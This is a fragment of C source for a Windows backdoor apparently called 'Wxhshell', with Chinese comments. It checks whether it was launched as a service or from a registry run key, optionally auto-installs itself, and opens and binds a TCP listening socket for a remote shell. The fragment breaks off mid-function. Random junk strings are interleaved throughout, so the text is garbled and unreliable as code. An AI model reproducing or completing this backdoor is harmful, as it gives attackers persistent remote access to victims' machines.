OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); dE(d'*+a if(!hProcess) return 0; p%OVl[^jp $=C `V if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; >( sS4_O7N 9 I&[6} CloseHandle(hProcess); wOH 3[SKo /&!o]fU1C hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); T{BGg if(hProcess==NULL) return 0; 0+A#k7c6p f1d<xGx HMODULE hMod; _ CzAv% char procName[255]; aecvz0}@R unsigned long cbNeeded; EE qlsH 0BOL0<Wq if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); tV7{j'If cr^R9dv CloseHandle(hProcess); "7?x aGh8 1+tPd7U if(strstr(procName,"services")) return 1; // 以服务启动 ^SwU]e ikPr> return 0; // 注册表启动 J/[PA[Rf } UG<<.1JL WkoYkkuzj // 主模块 pU u')y int StartWxhshell(LPSTR lpCmdLine)
D P:}< { %\%&1 SOCKET wsl; mn\GLR. BOOL val=TRUE; Qb:.WMj[q+ int port=0; XK(aH~7xme struct sockaddr_in door; nYK!'x$ vE~<R if(wscfg.ws_autoins) Install(); 4 @9cO)m Lf8{']3 port=atoi(lpCmdLine); &7c #i tTJ$tx if(port<=0) port=wscfg.ws_port; 'RR,b*Ql ?Y9VviC WSADATA data; B^x}=Z4 if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Fk?KR HA0yX?f] if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; h:vI:V[/X setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); y!\q', F door.sin_family = AF_INET; qmnW door.sin_addr.s_addr = inet_addr("127.0.0.1"); ,w_C~XN$t door.sin_port = htons(port); 1rh2!4)7 cP0(Q+i7 if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { iM]&ryGB |